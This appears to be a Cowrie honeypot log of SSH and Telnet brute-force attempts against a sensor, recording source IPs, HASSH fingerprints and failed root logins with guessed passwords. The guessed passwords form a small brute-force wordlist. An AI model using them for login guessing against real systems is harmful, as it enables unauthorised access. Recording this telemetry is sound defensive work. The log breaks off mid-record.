{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:36.742729Z","src_ip":"107.150.105.153","session":"6659264894b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:36.814376Z","src_ip":"143.20.185.207","session":"58e539700ceb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11qq22ww","message":"login attempt [root/11qq22ww] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:37.045803Z","src_ip":"107.150.105.153","session":"6659264894b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"undefined#4VCPU8GBAMD","message":"login attempt [root/undefined#4VCPU8GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:37.170838Z","src_ip":"143.20.185.207","session":"58e539700ceb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:38.127003Z","src_ip":"107.150.105.153","session":"6659264894b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:38.296727Z","src_ip":"143.20.185.207","session":"58e539700ceb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":60934,"dst_ip":"159.203.135.109","dst_port":22,"session":"705502e1bdb7","protocol":"ssh","message":"New connection: 103.82.20.28:60934 (159.203.135.109:22) [session: 705502e1bdb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:55.981125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:55.985274Z","src_ip":"103.82.20.28","session":"705502e1bdb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:56.242018Z","src_ip":"103.82.20.28","session":"705502e1bdb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"455455","message":"login attempt [root/455455] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:57.015309Z","src_ip":"103.82.20.28","session":"705502e1bdb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:58.274080Z","src_ip":"103.82.20.28","session":"705502e1bdb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.154.150","src_port":40594,"dst_ip":"159.203.135.109","dst_port":23,"session":"50f66e2db686","protocol":"telnet","message":"New connection: 143.198.154.150:40594 (159.203.135.109:23) [session: 50f66e2db686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:12:29.387352Z"}
{"eventid":"cowrie.session.closed","duration":120.00430417060852,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:12:32.063090Z","src_ip":"94.23.66.112","session":"49459e7286d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00249600410461,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:12:34.091338Z","src_ip":"94.23.66.112","session":"6104616c4b49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.867496967315674,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:12:41.254727Z","src_ip":"143.198.154.150","session":"50f66e2db686","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.184.88","src_port":44020,"dst_ip":"159.203.135.109","dst_port":22,"session":"7587a873c40c","protocol":"ssh","message":"New connection: 165.22.184.88:44020 (159.203.135.109:22) [session: 7587a873c40c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:13:03.643819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:13:03.648454Z","src_ip":"165.22.184.88","session":"7587a873c40c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:13:03.653330Z","src_ip":"165.22.184.88","session":"7587a873c40c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"enjin456","message":"login attempt [root/enjin456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:13:03.669718Z","src_ip":"165.22.184.88","session":"7587a873c40c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:13:04.677580Z","src_ip":"165.22.184.88","session":"7587a873c40c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.49.202","src_port":42516,"dst_ip":"10.17.0.5","dst_port":22,"session":"71936364efcf","protocol":"ssh","message":"New connection: 43.134.49.202:42516 (10.17.0.5:22) [session: 71936364efcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:13:18.515057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:13:18.517982Z","src_ip":"43.134.49.202","session":"71936364efcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:13:18.763010Z","src_ip":"43.134.49.202","session":"71936364efcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"enroll","password":"123456","message":"login attempt [enroll/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:13:19.770505Z","src_ip":"43.134.49.202","session":"71936364efcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.108.61","src_port":39122,"dst_ip":"10.17.0.5","dst_port":22,"session":"11a1b036fcda","protocol":"ssh","message":"New connection: 144.91.108.61:39122 (10.17.0.5:22) [session: 11a1b036fcda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:13:20.124002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:13:20.126743Z","src_ip":"144.91.108.61","session":"11a1b036fcda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:13:20.220188Z","src_ip":"144.91.108.61","session":"11a1b036fcda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aave789","message":"login attempt [root/aave789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:13:20.496012Z","src_ip":"144.91.108.61","session":"11a1b036fcda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":63956,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a97faca3c0c","protocol":"ssh","message":"New connection: 194.59.206.2:63956 (10.17.0.5:22) [session: 9a97faca3c0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:13:20.996025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:13:20.999631Z","src_ip":"194.59.206.2","session":"9a97faca3c0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:13:21.015993Z","src_ip":"43.134.49.202","session":"71936364efcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:13:21.088865Z","src_ip":"194.59.206.2","session":"9a97faca3c0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:13:21.180747Z","src_ip":"194.59.206.2","session":"9a97faca3c0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:13:21.590122Z","src_ip":"144.91.108.61","session":"11a1b036fcda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.49","src_port":34418,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f6065a12c61","protocol":"ssh","message":"New connection: 92.118.39.49:34418 (10.17.0.5:22) [session: 3f6065a12c61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:13:21.771301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:13:21.835657Z","src_ip":"92.118.39.49","session":"3f6065a12c61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:13:21.891746Z","src_ip":"92.118.39.49","session":"3f6065a12c61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567","message":"login attempt [root/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:13:22.621486Z","src_ip":"92.118.39.49","session":"3f6065a12c61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":35786,"dst_ip":"10.17.0.5","dst_port":22,"session":"2137fd77cbf5","protocol":"ssh","message":"New connection: 109.237.96.109:35786 (10.17.0.5:22) [session: 2137fd77cbf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:13:23.443309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:13:23.446509Z","src_ip":"109.237.96.109","session":"2137fd77cbf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"mess